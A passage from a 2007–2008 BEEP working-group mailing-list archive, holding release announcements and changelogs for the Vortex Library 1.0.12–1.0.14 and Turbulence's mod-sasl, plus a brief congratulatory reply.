* [fix] Updating Makefile.am file to produce a .def file including all
  entry points required by libturbulence.dll. Added libturbulence.def.

mod-sasl:

* [fix] Updated core implementation to allow checking if a serverName
  parameter has an auth-db activated. Making tbc-sasl-conf to use this
  to check the serverName value received. API added:

   - common_sasl_serverName_exists

* [fix] Updated tbc-sasl-conf tool to allow configuring the serverName
  value to be used to properly select the auth backend.

* [fix] Updated backend loading code to better report when some file
  is missing.

* [fix] Updated sasl-radmin implementation, conciliating changes into
  the IDL and added a new operation to operate_sasl_user to disable a
  sasl auth according to the value provided.

* [fix] Integrated latest changes from operate_sasl_user inside the
  IDL.

* [fix] Commiting first implementation that is able to create users,
  on a particular domain (serverName), that can be included into the
  allowed admins and enabled/disabled...

* [new] Updated common mod-sasl implementation to include two new
  functions to enable/disable remote administration support and check
  its current status. 

* [fix] Updated sasl-radmin.idl to makes changes to the
  operate_sasl_user service, extending its function to support user
  disabling and user remote administrator support.

* [fix] Making the db-list loading of remote administrator list, when
  it is found a relative path, to use services from vortex_support
  module.

* [fix] Fixed bug inside get_users service.

* [new] Starting remote administration interface for the
  mod-sasl. Commiting initial files (xml-rpc IDL file and stuff
  created..).

* [fix] Updated common implementation to use mutex where
  required. Checked regression test to use that mutex.

* [fix] Updated regression test to check add/remove functions from the
  mod-sasl module.

* [fix] Updated sasl backend loading to allow configuring an
  alternative file path to be used. Updated the rest of the tools
  associated.  API updated:

   - common_sasl_load_config.

* [fix] Fixing bug inside the xml loading backend which wasn't
  nullifying the reference received, caused to return a cuenca's
  pointer on error.

* [fix] Checked default behaviour to not load a database configuration
  if found two default ones.

* [fix] Updated tbc-sasl-conf tool to allow listing with the current
  sasl engine, and updated the code to check that no memory is lost.

About Us
~~~~~~~~

  Aspl (Advanced Software Production Line) is a Spanish company that
  provides services and support to introduce open source products into
  organizations.

  It has more than 7 years of experience and its main development line
  is to provide software development and support to install GNU/Linux
  enterprise servers.

  Contact us, English or Spanish, to get commercial support and/or
  BEEP based development services.

  You can reach us:

       http://www.aspl.es - info@aspl.es

  We hope Vortex Library and Turbulence help you. Enjoy Turbulence!

--
Francis Brosnan Blázquez           - francis@aspl.es
Advanced Software Production Line  - http://www.aspl.es
23th nov 2007, Madrid (Spain)


From francis@aspl.es Wed Dec 12 10:55:44 2007
Received: from dolphin.aspl.es (134.Red-80-34-198.staticIP.rima-tde.net
	[80.34.198.134])lBCIthnC030564;	Wed, 12 Dec 2007 10:55:43 -0800
Received: from barracuda ([10.0.0.4] helo=[192.168.0.132])
	by dolphin.aspl.es with esmtp (ASPL Mail Server XP#1)
	id 1J2Wjx-00017i-00; Wed, 12 Dec 2007 19:55:29 +0100
From: Francis Brosnan Blazquez <francis@aspl.es>
To: Vortex <vortex@dolphin.aspl.es>
Content-Type: text/plain; charset=ISO-8859-15
Organization: Advanced Software Production Line, S.L.
Date: Wed, 12 Dec 2007 19:55:30 +0100
Message-Id: <1197485731.6334.62.camel@vulcan.aspl>
Mime-Version: 1.0
X-Mailer: Evolution 2.12.0 
X-Scanner: exiscan *1J2Wjx-00017i-00*bIzHOO4JhY6*
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
	drakken.dbc.mtview.ca.us id lBCIthnC030564
cc: BEEPwg <beepwg@lists.beepcore.org>
cc: Af-Arch users <aspl-fact-users@dolphin.aspl.es>
cc: BEEP <beepbuilders@lists.beepcore.org>
Subject: [BEEPwg] 
	[ANN] Vortex Library 1.0.12 'Despite the neons' release is ready!
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Wed, 12 Dec 2007 18:55:44 -0000

          ############################################
          ##          Vortex Library 1.0.12         ##
          ##       "Despite the neons release"      ##
          ############################################

Release note
~~~~~~~~~~~~

  Advanced Software Production Line is proud to announce the Vortex
  Library 1.0.12 "Despite the neons" release availability: an open
  source "BEEP Core" protocol implementation written in C, mapped onto
  TCP/IP.

  Vortex Library has been developed inside the Af-Arch project as its
  data transport layer.

  Vortex Library is a stable and robust application protocol
  development toolkit. Currently it is running under Microsoft Windows
  and GNU/Linux platforms.

  Check out the following links to get ready with Vortex Library:

    - http://www.aspl.es/vortex
      [Vortex Library homepage]
 
    - http://www.sf.net/projects/vortexlibrary
      [Sources and Win32 binaries]

    - http://fact.aspl.es
      [Af-Arch homepage where Vortex Library is being developed]

    - http://www.beepcore.org
      [BEEP Core community web site]

    - http://www.aspl.es/xml
      [Axl Library, XML 1.0 implementation]
    
The release in short
~~~~~~~~~~~~~~~~~~~~

  Many new interesting features like allowing to defer the decision to
  create a channel (better integration with async client notifications
  and GUI applications), functions to shutdown listeners (and
  connections associated due to its function) and several API
  updates...
  
  Started a deep internal change to make the library to store all its
  state (context) into an external object (VortexCtx). This will solve
  some issues at the windows platform while using Vortex through
  Turbulence. Moreover this change will allow to have several Vortex
  Library context, with different states running inside the same
  process. At this moment all changes introduced are limited to avoid
  API changes.

Special note
~~~~~~~~~~~~

  Current release will be the last one for 1.0.X series. The next
  series will include an API update to make the library full
  context-based. A change notification will be produced with the
  concrete change.

  The intention with this release is to finish an cycle, without
  changing the API, providing a latest stable and tested release.

Change notifications
~~~~~~~~~~~~~~~~~~~~
  None.

Thanks to..
~~~~~~~~~~~

  Benoit Amiaux (provided really useful comments and patches to improve
  the library memory utilization, a portable implementation to destroy
  threads and several minor fixings for the windows platform..thanks
  dude, keep close ;-)

Changes since 1.0.11
~~~~~~~~~~~~~~~~~~~~

* [fix] Applied Benoit Amiaux patch to make realloc functions to call
  to axl defined implementation.

* [new] Updated vortex library start channel notification to allow
  decoupling the notification from the the reply. Now the application
  will be able to call vortex_channel_defer_start to signal vortex
  engine to not reply at this moment. Later, a call to
  vortex_channel_notify_start confirms if the channel is accepted to
  be created. API added:

    - vortex_channel_notify_start_internal
    - vortex_channel_notify_start

* [new] Added a new function to the vortex connection module that
  allows to get a reference to the listener connection that accepted a
  particular connection instance. API added:

   - vortex_connection_get_listener

* [fix] Making vortex_channel_notify_start to not require providing
  the serverName value. It is internally stored by the channel until
  it is used for the notification.

* [new] Updated vortex channel API to allow configuring a handler
  which is called once the reference is going to be removed from the
  connection.  This allows to detect channels not closed because the
  connection have failed. API added:

   - VortexOnClosedChannel (handler)
   - vortex_channel_set_closed_handler

* [fix] Making vortex_channel_notify_start to return a boolean value
  reporting if the notification was done (no matter the value
  notified).

* [fix] Making vortex channel on created notification to acquire a
  reference to the channel during the notification to avoid losing the
  reference.

* [fix] Updated vortex_listener_new/2/_full functions to include some
  information about the references returned and the way a listener
  could be closed (Reported by Benoit Amiaux).

* [fix] Committing more updates to the vortex listener documentation.

* [fix] Deep internal change to make vortex engine to hold all its
  library state into an object. This will allow to solve some issues
  at the windows platform and the way private data is handled inside
  dlls.

* [fix] Making vortex support module to be initialized/terminated from
  the vortex_init and vortex_exit to allow external modules to only
  init the support module.

* [fix] More updates to make initialization of the context to be not
  done directly from vortex_ctx_new but from each module called from
  vortex_init.

* [fix] Several updates to make vortex sequencer and vortex reader to
  be fully driven by the VortexCtx received at vortex_reader_run and
  vortex_sequencer_run.

* [new] Added missing API to destroy threads and fixed wrong vortex
  reader and sequencer termination. Reported and fixed by Amiaux
  Benoit. API added:

   - vortex_thread_destroy

* [fix] Updated API to allow provided the VortexCtx to some functions
  at the vortex io module:

   - VortexIoIsSetFdGroup (handler) 
   - VortexIoDispatchFunc (handler)
   - VortexIoDispatch (handler)
   - vortex_io_waiting_invoke_is_set_fd_group (function)
   - vortex_io_waiting_invoke_dispatch (function)

* [fix] Fixed wrong epoll set creation (twice created) making
  allocated file sets to grow with the time reaching the process
  limit. Fixed memory leak the vortex listener module (which wasn't
  unreferring a queue expecting other thread to do so...). Updated
  vortex log to not perform any operation if a context is not defined.

* [fix] Making xml-rpc-gen tool to include a reference to the file
  that was used as source inside the body header.

* [new] Added to new symbols that allows to initialize the library
context.
  API added:

   - vortex_init_ctx
   - vortex_exit_ctx

  Making previous API (vortex_init, vortex_exit) to relay on these
  function to provide backward compact.

* [new] Updated vortex listener module to include a function that
  allows to shutdown a listener and all its associated connections
  created due to its function. API added:

   - vortex_listener_shutdown

* [fix] Making vortex_listener_init to not acquire the mutex if it is
  found that an initialization was already done.

* [fix] More fixings to the thread implementation, missing call to
  release thread attribute (Reported and fixed by Benoit Amiaux).

* [fix] Making vortex_connection_remove_on_close_full to use
  axl_list_remove_ptr rather axl_list_remove to *really* remove the
  handler installed (Reported by Benoit Amiaux).

* [fix] Fixed missing BEGIN_C_DECLS declaration at vortex thread
  module. Fixings to variables inside ctx for the windows platform.
  Updates to the libvortex.def file. (Reported and fixed by Benoit
  Amiaux).

* [fix] making vortex_init_ctx to not configure the context
  (vortex_ctx_ctx).

About Us
~~~~~~~~

  Advanced Software Production Line is leading the Af-Arch project: a
  complete framework to develop distributed application to manage
  enterprise process.

  Af-Arch project relies on Vortex Library to exchange data between
  its distributed nodes.

  Advanced Software Production Line also provides GNU/Linux support
  and consulting services to help organization to introduce GNU/Linux
  inside its process.

  Contact us, using English or Spanish, to get commercial support
  and/or BEEP based development services.

  You can reach us:

       http://www.aspl.es - info@aspl.es

  We hope Vortex Library help you. Enjoy Vortex Library!  

--
Francis Brosnan Blázquez           - francis@aspl.es
Advanced Software Production Line  - http://www.aspl.es
12th dec 2007, Madrid (Spain)


From francis@aspl.es Tue Feb 26 10:59:11 2008
Received: from dolphin.aspl.es (66-183-170-212.CampusParty06.net
	[212.170.183.66] (may be forged))m1QIx9QI006759;
	Tue, 26 Feb 2008 10:59:10 -0800
Received: from barracuda ([10.0.0.4] helo=[192.168.0.132])
	by dolphin.aspl.es with esmtp (ASPL Mail Server XP#1)
	id 1JU50y-00058W-00; Tue, 26 Feb 2008 19:58:56 +0100
From: Francis Brosnan Blazquez <francis@aspl.es>
To: Vortex <vortex@dolphin.aspl.es>
Content-Type: text/plain; charset=ISO-8859-15
Organization: Advanced Software Production Line, S.L.
Date: Tue, 26 Feb 2008 19:58:57 +0100
Message-Id: <1204052337.28319.3.camel@vulcan.aspl>
Mime-Version: 1.0
X-Mailer: Evolution 2.12.3 
X-Scanner: exiscan *1JU50y-00058W-00*LKoddkoNS3Q*
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
	drakken.dbc.mtview.ca.us id m1QIx9QI006759
cc: BEEPwg <beepwg@lists.beepcore.org>
cc: Af-Arch users <aspl-fact-users@dolphin.aspl.es>
cc: BEEP <beepbuilders@lists.beepcore.org>
Subject: [BEEPwg] 
	[ANN] Vortex Library 1.0.13 'The denial twist' release is ready!
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Tue, 26 Feb 2008 18:59:11 -0000

          ############################################
          ##          Vortex Library 1.0.13         ##
          ##        "The denial twist release"      ##
          ############################################

Release note
~~~~~~~~~~~~

  Advanced Software Production Line is proud to announce the Vortex
  Library 1.0.13 "The denial twist" release availability: an open
  source "BEEP Core" protocol implementation written in C, mapped onto
  TCP/IP.

  Vortex Library has been developed inside the Af-Arch project as its
  data transport layer.

  Vortex Library is a stable and robust application protocol
  development toolkit. Currently it is running under Microsoft Windows
  and GNU/Linux platforms.

  Check out the following links to get ready with Vortex Library:

    - http://www.aspl.es/vortex
      [Vortex Library homepage]
 
    - http://www.sf.net/projects/vortexlibrary
      [Sources and Win32 binaries]

    - http://fact.aspl.es
      [Af-Arch homepage where Vortex Library is being developed]

    - http://www.beepcore.org
      [BEEP Core community web site]

    - http://www.aspl.es/xml
      [Axl Library, XML 1.0 implementation]
    
The release in short
~~~~~~~~~~~~~~~~~~~~

  Several bug fixes and library improvement have been integrated into
  this release, updating the library regression testwith more unit
  checks.
 
  Updated log management to allow an external function to handle
  it. Fixed and properly implemented the limited by a timeout connect
  (which wasn't working on previous releases) and fixed its function
  through a regression test.

Special note
~~~~~~~~~~~~

  Previous release mentioned: 

  "Current release will be the last one for 1.0.X series. The next
  series will include an API update to make the library full
  context-based. A change notification will be produced with the
  concrete change."

  This will not be the approach as announced to our customers and in
  the mail list [1]. In short, both branches will evolve in an
  independent manner.

  [1] http://lists.aspl.es/pipermail/vortex/2008-January/000342.html

Change notifications
~~~~~~~~~~~~~~~~~~~~
  None.

Thanks to..
~~~~~~~~~~~

  Benoit Amiaux (for providing useful feedback, patches, etc,
  improving Vortex function on windows). Jens Alfke (for
  providing useful feedback and patches to solve bugs). 

Changes since 1.0.12
~~~~~~~~~~~~~~~~~~~~

* [fix] Documented VortexCtx object,

* [fix] Fixed xml-rpc-gen which wasn't initializing vortex support
  cleanup API. Fixed some calls to axl_stream_get_until_ref

* [fix] Making vortex listener regression test to check sasl support
  to be enabled. Reported and Fixed by Jens Alfke.

* [fix] Updated vortex_frame_is_error_message documentation to better
  describe its function. Reported by Jens Alfke.

* [fix] Several updates to add a "const" declaration and changing some
  declarations from char * to void * (Reported and fixed by Jens
  Alfke).

* [new] Updated the vortex log API to allow configuring if all
  log messages are synchronized to avoid messages to be mixed from
  different modules. (Reported by Jens Alfke). API added:

   - vortex_log_acquire_mutex
   - vortex_log_is_enabled_acquire_mutex

* [new] Updated vortex log API to allow the application level to
  provide a handler to manage all log produced by the application.
  Patch by Jens Alfke. API added:

   - VortexLogHandler
   - vortex_log_set_handler
   - vortex_log_get_handler

* [fix] Fixed wrong documentation (warnings and wrong references).

* [fix] Exarg Makefile.win fixings and fixed vortex-client.c wrong
  long type declaration.

* [fix] Updated xml-rpc-gen tool to support a new option that allows
  to configure additional search paths. Option added: --add-search-path.

* [fix] Making vortex close channel to acquire a reference to the
  connection during the close process, if the thread mode is
  activated, avoiding to lose the reference if the thread planner stop
  the close process and other running thread terminates the
  connection. Checked regression test.

* [fix] Making vortex_channel_is_opened to also check current
  connection status to report if the channel is *really* opened (not
  only its internal status).

* [fix] Fixed double deallocation error if the dtd module was not able
  to be initialized. Reported and fixed by Jens Alfke.

* [fix] Updated configure.ac to avoid pkg-config bug while disabling
  sasl interface.

* [fix] Patches to fix vortex thread pool inclusion and variable
  declaration at the top of _vortex_log_common (reported and fixed
  Benoit Amiaux).

* [fix] Fixed wrong connect timeout at vortex_connection_new which was
  mixing values returned by vortex_connection_get_connect_timeout
  (which returns microseconds) with values returned by time() (which
  does it in seconds). Problem reported and tracked down by Benoit
  Amiaux.

* [fix] Fixing documentation and parameter name to make
  vortex_connection_connect_timeout to receive a parameter that is
  supposed to hold a microseconds timeout value rather and
  seconds. (Reported by Benoit Amiaux).

* [fix] Applied patch to better detect msvc while disabling log
  produced (patch provided by Benoit Amiaux).

* [fix] Making frame reply restore to check for the new next seq no
  value to send.

* [fix] Integrated regression test from (1.1 series) to check out of
  order reply condition (inside the test_11). Checked that, without
  the patch it is possible to reproduce the problem.

* [fix] Applied patch [1/5] Disable loggin on msv2005. Reported by
  Benoit Amiaux.

* [fix] Applied patch [2/5] Fix invalid documentation and additional
  changes to make the parameter changed to conform at the function
  implemented. Fixed and reported by Benoit Amiaux.

* [fix] Committing a modified patch from Benoit Amiaux to improve
  vortex support module initialization: [4/5].

* [fix] Fixed missing mutex initialization code at the vortex
  connection module, which was causing to not start channel_mutex and
  channel_update_mutex depending on the peer side (listener or
  initiator). Unified mutex initialization code through an unique
  function: __vortex_connection_init_mutex. Bug reported by Jens
  Alfke.

* [fix] Removed not required mutex initialization code at vortex
  connection module due to previous change.

* [fix] Ensuring vortex_channel_build_single_pending_frames to
  properly configure the channel reference associated to the frame
  built (Bug and its fixing reported by Jens Alfke). Updated
  regression test to reproduce the problem and to check the fix
  introduced.

* [fix] Making vortex_listener_cleanup to check queue before
  unreferring.

* [fix] Making vortex_greetings_process to flag as a warning to not
  receiving a frame containing the greeting. Integrated change into
  1.0 and 1.1 branch.

* [fix] Making VortexSequencerData to hold a reference to the
  connection and to have a new flag to signal that a message
  to be sequenced must be discarded. Integrated into both
  branches 1.0 and 1.1.

* [new] Updated vortex handler module to include a foreach handler used
  by vortex_async_queue_foreach. Integrated into 1.0 and 1.1
  branches. API added:

   - VortexAsyncQueueForeach

* [new] Updated vortex async queue API to include a new function that
  allows to perform a foreach operation over all items stored, locking
  the queue during the operation. Integrated change into 1.0 and 1.1
  branches. API added:

   - vortex_async_queue_foreach

* [fix] Updated vortex sequencer internal function to drop all pending
  messages to be sequenced for connections that have been closed or
  flagged to be closed. Updated vortex main header to reorder main
  header inclusion. Change integrated into both branches 1.0 and 1.1.

* [fix] Making vortex_listener_shutdown to lock the caller during the
  process of close the listener and all associated connections.

* [fix] Making vortex listener to unref the connection after the
  initial and second step are finished, to avoid race conditions
  caused by a connection close in the middle of those states. Bug fix
  integrated into 1.0 and 1.1 branches.

* [fix] Improved connection timeout (connect operations with timeout
  activated) to really implement a global timeout for all the
  operation.  Previous implementation wasn't properly implementing all
  cases.  Integrated bug fix into 1.0 and 1.1 branches.

* [new] Updated vortex connection API to include two new functions
  that allows to block and check I/O read operations for a particular
  connection.  Integrated into both branches 1.0 and 1.1. API added:

   - vortex_connection_block
   - vortex_connection_is_blocked

* [fix] Making vortex connection module to signal vortex sequencer
  module to flag all its pending associated message to be discarded
  due to connection close. Fix integrated into both branches (1.0 and
  1.1).

* [fix] Making vortex reader module to check for blocked connections
  to avoid performing I/O reading over them and updated 
  vortex_reader_foreach internal API to return a queue where a 
  notification is provided. Bug fixes and updates integrated into
  both branches (1.0 and 1.1).

* [fix] Making vortex_frame_get_next to check for a connection not
  properly initialized, if an error is found, properly signaling the
  error rather a general connection broken. Updated both branches (1.0
  and 1.1).

* [fix] Committing missing change to export internal function from
  vortex sequencer (vortex_sequencer_drop_connection_messages).  Bug
  fixed in both branches.

* [fix] Integrated test_12 into general regression test.  Inside on
  both branches.

* [fix] Integrated TUNNEL regression test into main test (GREAT!).
  Integration performed on both branches (1.0 and 1.1).

* [fix] Fixing documentation warnings.

* [fix] Fixing minimal bug which was introducing doxygen comments
  without having them activated.

* [new] Updated vortex hash module to include a new function to remove
  items stored without calling to destroy function. Used this to
  implement new function to remove items stored as data associated to
  channels. API update applied to both branches (1.0 and 1.1) API
  added:

  - vortex_hash_delete
  - vortex_channel_delete_data

* [fix] Making vortex_connection_block to lock the caller until the
  connection is really blocked. Fix applied on both branches (1.0 and
  1.1).

* [fix] Making non-blocking connect with timeout activated to also
  check of I/O read ready before proceeding only on windows
  platform. Fix applied on both branches (1.0 and 1.1).

About Us
~~~~~~~~

  Advanced Software Production Line is leading the Af-Arch project: a
  complete framework to develop distributed application to manage
  enterprise process.

  Af-Arch project relies on Vortex Library to exchange data between
  its distributed nodes.

  Advanced Software Production Line also provides GNU/Linux support
  and consulting services to help organization to introduce GNU/Linux
  inside its process.

  Contact us, using English or Spanish, to get commercial support
  and/or BEEP based development services.

  You can reach us:

       http://www.aspl.es - info@aspl.es

  We hope Vortex Library help you. Enjoy Vortex Library!  

--
Francis Brosnan Blázquez           - francis@aspl.es
Advanced Software Production Line  - http://www.aspl.es
26th feb 2008, Madrid (Spain)


From francis@aspl.es Fri Apr  4 12:37:14 2008
Received: from dolphin.aspl.es (66-183-170-212.CampusParty06.net
	[212.170.183.66] (may be forged))m34JbCp4028608;
	Fri, 4 Apr 2008 12:37:13 -0700
Received: from barracuda ([10.0.0.4] helo=[192.168.0.132])
	by dolphin.aspl.es with esmtp (ASPL Mail Server XP#1)
	id 1JhpeM-0004Gc-00; Fri, 04 Apr 2008 19:24:26 +0200
From: Francis Brosnan Blazquez <francis@aspl.es>
To: Vortex <vortex@dolphin.aspl.es>
Content-Type: text/plain; charset=ISO-8859-15
Organization: Advanced Software Production Line, S.L.
Date: Fri, 04 Apr 2008 19:24:28 +0200
Message-Id: <1207329868.4530.2.camel@vulcan.aspl>
Mime-Version: 1.0
X-Mailer: Evolution 2.12.3 
X-Scanner: exiscan *1JhpeM-0004Gc-00*v8UKtRmYhQI*
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
	drakken.dbc.mtview.ca.us id m34JbCp4028608
cc: BEEPwg <beepwg@lists.beepcore.org>
cc: Af-Arch users <aspl-fact-users@dolphin.aspl.es>
cc: BEEP <beepbuilders@lists.beepcore.org>
Subject: [BEEPwg] [ANN] Vortex Library 1.0.14 'spybreak' release is ready!
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Fri, 04 Apr 2008 19:37:14 -0000

          ############################################
          ##          Vortex Library 1.0.14         ##
          ##            "spybreak release"          ##
          ############################################

Release note
~~~~~~~~~~~~

  Advanced Software Production Line is proud to announce the Vortex
  Library 1.0.14 "spybreak" release availability: an open source "BEEP
  Core" protocol implementation written in C, mapped onto TCP/IP.

  Vortex Library has been developed inside the Af-Arch project as its
  data transport layer.

  Vortex Library is a stable and robust application protocol
  development toolkit. Currently it is running under Microsoft Windows
  and GNU/Linux platforms.

  Check out the following links to get ready with Vortex Library:

    - http://www.aspl.es/vortex
      [Vortex Library homepage]
 
    - http://www.sf.net/projects/vortexlibrary
      [Sources and Win32 binaries]

    - http://fact.aspl.es
      [Af-Arch homepage where Vortex Library is being developed]

    - http://www.beepcore.org
      [BEEP Core community web site]

    - http://www.aspl.es/xml
      [Axl Library, XML 1.0 implementation]
    
The release in short
~~~~~~~~~~~~~~~~~~~~

  Starting from this release vortex will no longer depend on external
  DTD files for its function. They are now included, inline into the
  source code using the axl-knife tool to refresh changes.

  Fixed several bugs and updated regression test to reproduce them and
  check the fix introduced. 

Change notifications
~~~~~~~~~~~~~~~~~~~~
  None.

Thanks to..
~~~~~~~~~~~

  Jens Alfke (for fixing, proposing and reporting several bugs and
  improvements). 

  Antoine Mahé (for providing a fix to make client greetings to also
  advice its profiles).

Changes since 1.0.13
~~~~~~~~~~~~~~~~~~~~

* [fix] Fixed bug inside channel creation process which didn't allow
  to start sending content from the listener side right after the
  channel being accepted. Updated regression test to reproduce the
  problem and check the fix introduced. Reported by Jens Alfke
  (1.0/1.1).

* [fix] Fixed race condition at the SASL notification. Updated
  regression test to reproduce and check the fix. (1.0/1.1).

* [fix] Updated regression test to check that a channel could be
  closed at the channel create notification. Found already
  supported. Updated channel creation to check channel status before
  the channel notification to avoid notifying a possible
  piggyback. (1.0/1.1).

* [fix] Updating regression tests (copyright).

* [fix] Fixed bug inside vortex connection creation when timeout
  activated, causing to lock the caller until consume all the timeout
  for hosts refusing the connection rather than failing soon.  Missing
  connection status check before receiving wrong greetings
  reply. Reported by Jens Alfke (1.0/1.1).

* [fix] Fixed wrong handling at TLS profile implementation causing to
  not properly recover during TLS failures (TLS protocol handshake).
  Fixed memory leak (error reply frame for TLS implementation wasn't
  released). (1.0/1.1).

* [fix] Making vortex client side implementation for TLS profile to not
  unref the connection on protocol failure. Rather, return the
  reference to the user the let the application space to implement its
  error handling (1.0/1.1).

* [fix] Updated vortex_connection_set_auto_tls documentation to
  include more references about its function (1.0/1.1).

* [fix] Fixed vortex_tls_start_negociation_sync to return a reference
  to the connection received if a timeout is found (1.0/1.1).

* [fix] Fixed bug inside xml-rpc-gen tool which was produced add to
  array method without checking if the type held by the array could
  support this.

* [fix] removing not properly configured checking at
  vortex_frame_send_raw causing to fail on nullified zero send
operations.

* [new] Updating vortex-regression-client to allow configuring the
  regression listener location (and the associated BEEP proxy), taking
  as default localhost location if no value is provided.

* [fix] Updating vortex regression test 12 to include support to start
  fake listener at the remote regression test, allowing to check
  timeout support on separate hosts.

* [fix] Fixed memory leak on connection failures, associated to the
  error message.

* [fix] Fixing bug which was causing to not properly implement
  connection timeout (tcp connect wasn't limited by the
  timeout). Reported by Jens Alfke.

* [fix] Fixing change notify..

* [fix] Enforcing to use axl library 0.4.15

* [fix] Committing changes to use --ifnewer option from axl-knife to
  build DTD files.

* [fix] Committing change notification.

* [fix] Taking advantage from axl-knife tool, now the library loads
  its associated DTDs from an C inline representation generated,
  removing the inconvenience to load dtd from files. Great.  Fix
  applied on both branches.

* [fix] Fixed wrong detection of the ctx creation handler at the
  server side implementation of the TLS profile causing to fail
  (because the key and certificate functions were not configured).
  Reported and fixed by Jens Alfke.

* [fix] More address modifications.

* [fix] Change ASPL office location.

* [fix] Updated vortex_channel_send_err documentation to include some
  clarifications about its function.

* [fix] Fixed missing check for references received (status and
  status_message) at vortex_tls_start_negociation_sync, under a
  timeout condition. Change applied to 1.0 and 1.1 branch. Reported by
  Jens Alfke.

* [fix] Fixed wrong openssl headers include causing building
  environments without tls to fail. Fixed on both branches.

* [fix] Updated vortex client greetings implementation to also advice
  profiles supported. Initial patch provided by Antoine Mahé for 1.0
  and now adapted to 1.1 branch.

* [new] Updated regression test to reproduce and check the client
  greetings advice support. Updated both branches.

* [fix] Making vortex reader to not set as not connected a connection
  broken that was found to be not possible to add to the watching
  list.  Updated log message associated to not scare the
  developer. Fix applied on both branches.

* [fix] Making vortex_profiles_unregister to uninstall the profile
  removed from an internal list used by vortex_profiles_* functions.
  Fix applied on both branches.

* [fix] Fixed race condition at the sasl auth negotiation, under case
  where the remote peer has denied the SASL auth id. Bug fix applied
  on both branches and checked against regression test.

* [fix] Fixed sasl process error notification (there was some cases
  the notification was done twice). Fixed on both branches.

About Us
~~~~~~~~

  Advanced Software Production Line is leading the Af-Arch project: a
  complete framework to develop distributed application to manage
  enterprise process.

  Af-Arch project relies on Vortex Library to exchange data between
  its distributed nodes.

  Advanced Software Production Line also provides GNU/Linux support
  and consulting services to help organization to introduce GNU/Linux
  inside its process.

  Contact us, using English or Spanish, to get commercial support
  and/or BEEP based development services.

  You can reach us:

       http://www.aspl.es - info@aspl.es

  We hope Vortex Library help you. Enjoy Vortex Library!  

--
Francis Brosnan Blázquez           - francis@aspl.es
Advanced Software Production Line  - http://www.aspl.es
4th apr 2008, Madrid (Spain)


From mrose@dbc.mtview.ca.us Fri Apr  4 17:05:06 2008
Received: from [127.0.0.1] (localhost.localdomain [127.0.0.1])
	m35055Dd003872;	Fri, 4 Apr 2008 17:05:06 -0700
From: Marshall Rose <mrose@dbc.mtview.ca.us>
To: Francis Brosnan Blazquez <francis@aspl.es>
In-Reply-To: <1207329868.4530.2.camel@vulcan.aspl>
Subject: Re: [BEEPwg] [ANN] Vortex Library 1.0.14 'spybreak' release is ready!
References: <1207329868.4530.2.camel@vulcan.aspl>
Message-Id: <76190DC6-E93A-4BF0-AFE3-C7232482FEF1@dbc.mtview.ca.us>
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
Mime-Version: 1.0 (Apple Message framework v919.2)
Date: Fri, 4 Apr 2008 17:05:00 -0700
X-Mailer: Apple Mail (2.919.2)
cc: BEEPwg <beepwg@lists.beepcore.org>
cc: Af-Arch users <aspl-fact-users@dolphin.aspl.es>
cc: BEEP <beepbuilders@lists.beepcore.org>
cc: Vortex <vortex@dolphin.aspl.es>
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Sat, 05 Apr 2008 00:05:06 -0000

>          ############################################
>          ##          Vortex Library 1.0.14         ##
>          ##            "spybreak release"          ##
>          ############################################

congrats! and my favorite addition to the release:

> * [fix] Change ASPL office location.

/mtr

From Martin.Thomson@andrew.com Thu May 15 23:59:49 2008
Received: from ns1.media.org (ns1.media.org [192.101.98.127])
	m4G6xnbc002843
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL)
